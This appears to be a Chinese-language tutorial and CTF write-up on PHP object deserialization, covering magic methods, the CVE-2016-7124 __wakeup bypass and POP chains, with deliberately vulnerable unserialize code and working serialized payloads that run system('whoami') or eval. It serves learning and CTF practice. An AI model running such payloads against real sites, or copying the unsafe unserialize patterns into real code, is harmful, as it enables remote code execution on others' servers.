简介

不会php。

https://www.php.net/manual/zh/language.oop5.serialization.php

<?php
  
  class A {
      public $one = 1;
      public $two = '2';
    
      public function show_one() {
          echo $this->one;
      }
  }
    
  $a = new A;
  $s = serialize($a);

  echo $s;	O:1:"A":2:{s:3:"one";i:1;s:3:"two";s:1:"2";}

?>

https://www.toolnb.com/tools/phpserialize.html

序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

O:1:"A":2:{s:3:"one";i:1;s:3:"two";s:1:"2";}

object(__PHP_Incomplete_Class)#5 (3) {
  ["__PHP_Incomplete_Class_Name"]=>
  string(1) "A"
  ["one"]=>
  int(1)
  ["two"]=>
  string(1) "2"
}

序列化就是将对象转换成字符串来存储,反序列化就是将字符串还原为对象。

php通过serialize()和unserialize()来进行序列化操作。

其中有几个魔术方法需要关注一下。

https://www.php.net/manual/zh/language.oop5.magic.php

魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作。

__construct() //当一个对象创建时被调用

__destruct() //当一个对象销毁时被调用

__toString() //当一个对象被当作一个字符串使用

__sleep() //在对象被序列化之前运行

__wakeup() //在对象被反序列化之后被调用

简单的序列化

[NPUCTF2020]ReadlezPHP

<?php
#error_reporting(0);
highlight_file(__FILE__);
echo "</p>";
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
        echo '__construct $this->a: '. $this->a. "</p>";
        echo '__construct $this->b: '. $this->b. "</p>";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo '__destruct $this->a: '. $this->a. "</p>";
        echo '__destruct $this->b: '. $this->b. "</p>";
        echo '$b($a): '. $b($a). "</p>";
    }
}
$c = new HelloPhp;

@$ppp = unserialize($_GET["data"]);

可以看见HelloPhp类在创建时会给$a,$b赋值,然后在销毁的时候调用$b($a),这里就导致了rce,如果我们控制了$a,$b就能构造类似于system(whoami)的语句来rce,

<?php
#error_reporting(0);
highlight_file(__FILE__);
class HelloPhp
{
    public $a = 'whoami';
    public $b = 'system';
}
$c = new HelloPhp;
echo serialize($c);	//O:8:"HelloPhp":2:{s:1:"a";s:6:"whoami";s:1:"b";s:6:"system";}
__construct $this->a: Y-m-d h:i:s
__construct $this->b: date
__destruct $this->a: whoami
__destruct $this->b: system
kill\dayu $b($a): kill\dayu
__destruct $this->a: Y-m-d h:i:s
__destruct $this->b: date
$b($a): 2022-07-20 03:05:15

可以看见反序列化传入的值在执行__destruct()覆盖了__construct()中的值。

__wakeup()绕过

<?php
highlight_file(__FILE__);
class score{
    public $name;
    public $score;
    public $grade;
    function __wakeup() {
        $this->name='Bob';
    }
    function __destruct()
    {
        echo $this->name;
    }
}

unserialize($_GET['s']);

?>

由于__wakeup()是在反序列化之后才被调用的,所以反序列化无法覆盖__wakeup()对$this->name的赋值,__destruct就会一直输出Bob。这里我们如果需要绕过__wakeup(),需要使用CVE-2016-7124来跳过__wakeup()的调用。

序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

<?php
highlight_file(__FILE__);
class score{
    public $name = 'dayu';
    public $score = '1';
    public $grade = '1';
    function __wakeup() {
        $this->name='Bob';
    }
    function __destruct()
    {
        echo $this->name;
    }
}

$a = new score;
echo serialize($a);	//O:5:"score":3:{s:4:"name";s:4:"dayu";s:5:"score";s:1:"1";s:5:"grade";s:1:"1";}

?>

但是这样是无效的

因为__wakeup()对$this->name的赋值覆盖了反序列化的值,然后我们使用CVE-2016-7124,让序列化字符串中表示对象属性个数的值大于真实的属性个数。

O:5:"score":3:{s:4:"name";s:4:"dayu";s:5:"score";s:1:"1";s:5:"grade";s:1:"1";}
O:5:"score":4:{s:4:"name";s:4:"dayu";s:5:"score";s:1:"1";s:5:"grade";s:1:"1";}

成功绕过

这里需要注意一下php的版本

PHP before 5.6.25 and 7.x before 7.0.10

同名函数利用

<?php
highlight_file(__FILE__);
class A {
    var $target;
    function __construct(){
        $this->target=new B;
    }
    function __destruct(){
        $this->target->action();
    }
}

class B {
    function action(){
        echo "action B";
    }
}

class C {
    var $test;
    function action(){
        echo "action C";
        eval($this->test);
    }
 }

unserialize($_GET['test']);

这里class A的target 实例化了class B然后执行了class B的action函数,同时class C也有个同名函数action。

我认为php反序列化的关键在于观察可以控制的变量。

这里我们可以通过控制target来实例化class C,然后执行action函数从而rce。

<?php
highlight_file(__FILE__);
class A {
    var $target;
    function __construct(){
        $this->target=new B;
    }
    function __destruct(){
        $this->target->action();
    }
}

class B {
    function action(){
        echo "action B";
    }
}

class C {
    var $test;
    function action(){
        echo "action C";
        eval($this->test);
    }
 }

$a = new A;
$a->target=new C;
$a->target->test='system(whoami);';
echo serialize($a);	//O:1:"A":1:{s:6:"target";O:1:"C":1:{s:4:"test";s:15:"system(whoami);";}}

成功的让class A的target实例化了class C,然后控制class C的test,rce。

ctf

<?php
error_reporting(0);
highlight_file(__FILE__);
function info($address)
{
    echo "\nyour address is $address\n". "</p>";
}

class Team {
    function __destruct()
    {
        $this->sayhello();
    }
    function sayhello()
    {
        foreach ($this->players as $player) {
            echo "hello ". $player. "</p>";
        }
    }
}

class Person {
    var $name;
    var $do;
    function __wakeup()
    {
      	echo "Person __wakeup";
        $this->do = "info";
    }
    function __tostring()
    {
        echo "__tostring";
        $this->do = $_POST['func'];
        $this->info =$_SERVER['HTTP_X_FORWARDED_FOR'];
        echo "do:". $this->do. "</p>";
        echo "info:". $this->info. "</p>";
        return $this->name;
    }
    function __destruct()
    {
        echo $this->do;
        ($this->do)($this->info);
    }
}

unserialize ($_GET['content']);
?>

观察流程,发现能控制的变量有:

class Team($players)

class Person($name,$do,$_POST['func'];$_SERVER['HTTP_X_FORWARDED_FOR'];)

首先发现能rce的点在class Person的__destruct函数里面的($this->do)($this->info);,这里我们需要控制$do和$info,$_POST['func'];$_SERVER['HTTP_X_FORWARDED_FOR'];都是我们可控的,但是他们在__tostring()函数里面,只有class Person被当成字符串的时候才能被执行。然后看见class Team中的sayhello函数有一个echo "hello ". $player. "</p>";语句,这里将$player的值赋值为class Person的实例即可执行,$player又由foreach ($this->players as $player) 得到,然后我们可以控制$players来给$player赋值。

即:class Team($players)->class Team($player)->class Person(__tostring())->class Person(__tostring($_POST['func']))->class Person(__tostring($_SERVER['HTTP_X_FORWARDED_FOR']))->class Person(__destruct(($this->do)($this->info)))->rce

<?php
error_reporting(0);
highlight_file(__FILE__);
echo "</p>";
function info($address)
{
    echo "\nyour address is $address\n". "</p>";
}

class Team {
    function __destruct()
    {
        $this->sayhello();
    }
    function sayhello()
    {
        foreach ($this->players as $player) {
            echo "hello ". $player. "</p>";
        }
    }
}

class Person {
    var $name;
    var $do;
    function __wakeup()
    {
				echo "Person __wakeup";
        $this->do = "info";
    }
    function __tostring()
    {
        echo "__tostring". "</p>";
        $this->do = $_POST['func'];
        $this->info =$_SERVER['HTTP_X_FORWARDED_FOR'];
        echo "do:". $this->do. "</p>";
        echo "info:". $this->info. "</p>";
        echo "name:". $this->name. "</p>";
        return $this->name;
    }
    function __destruct()
    {
        echo $this->do;
        ($this->do)($this->info);
    }
}
//开始构造利用链
$a = new Team;
$a->players[]=new Person;	//控制了players,间接让player = new Person,从而执行了class Person(__tostring())。tips:使用数组

echo serialize($a);	//O:4:"Team":1:{s:7:"players";a:1:{i:0;O:6:"Person":2:{s:4:"name";N;s:2:"do";N;}}}
?>

class Person(__tostring($_POST['func']))class Person(__tostring($_SERVER['HTTP_X_FORWARDED_FOR']))成功被控制,但是为什么没执行class Person(__destruct(($this->do)($this->info)))呢?我们可以发现连class Team(sayhello())的echo语句都没有执行,而且class Person($name)现在是空的,代表class Person(__tostring(return $this->name;)也是返回了一个NULL。我们尝试给他随便赋一个值试试。

//开始构造利用链
$a = new Team;
$a->players[]=new Person;	//控制了players,间接让player = new Person,从而执行了class Person(__tostring())
$a->players[0]->name='dayu';
echo serialize($a);	//O:4:"Team":1:{s:7:"players";a:1:{i:0;O:6:"Person":2:{s:4:"name";s:4:"dayu";s:2:"do";N;}}}

成功rce

我们注意到class Person(__wakeup())被触发了,但是后面通过class Person(__tostring($_POST['func']))覆盖了$do。